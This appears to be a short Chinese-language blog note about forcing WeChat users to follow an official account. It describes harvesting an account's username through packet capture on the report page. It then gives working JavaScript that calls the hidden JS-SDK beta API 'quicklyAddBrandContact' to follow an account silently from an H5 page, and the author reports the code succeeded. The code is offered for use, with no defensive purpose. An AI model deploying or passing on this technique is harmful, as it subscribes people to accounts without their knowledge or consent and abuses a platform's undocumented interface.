公众号强制用户关注研究

微信公众号h5页面

关键知识

  • uin : 微信公众号/账户 唯一id

  • username : 微信公众号/账户的用户名 微信后端自动生成?

  • username 的获取可以通过找到公众号页面,然后点击“举报”,这时候可以通过抓包的方式,或者chrome-remote-debug查看“举报”页面的url中的username参数.

公众号资料页

1
2
3
4
//微信公众号的唯一数字码?
var uni = '123545';
var uniBase64 = b64(uni);
var mpPforileUrl = `https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=${uniBase64}#wechat_redirect`;

https://mp.weixin.qq.com/mp/profile_ext?action=report&uin=777&key=777&pass_ticket=fPx54kmr6jcYdnK8qI81wat4YVhJG3imtE6y2boI0KMfM+cLv5bZD7MdmM5YrSrI&username=&useraction=[object Object]&t=0.8240767701548524&scene=&__biz=MzU0MzExMzIwOA==&is_ok=1&fromplatform=3

静默自动关注

以下代码在某公众号H5详情页,通过chrome调试工具执行,结果是可行的,其他尚未测试

页面引入wx-js-sdk后

执行如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var username= '';
//config
// 这里获取js签名参数.
var meta = {

};
window.wx && wx.config({
debug:true,
beta: true,
appId: meta.appid,
timestamp: meta.timestamp,
nonceStr: meta.noncestr,
signature: meta.signature,
jsApiList: ["quicklyAddBrandContact"]
});

(wx.ready(function () {
wx.invoke("quicklyAddBrandContact", {
username: username,
scene: ""
}, function (e) {
//{"err_msg":"quickly_add_contact:ok"}
//备注如果 e.err_msg 中包含ok则表示关注成功
console.log(e)//这时候可能会失败,然后需要执行
});
}),
wx.error(function (e) {
console.log(e);
}));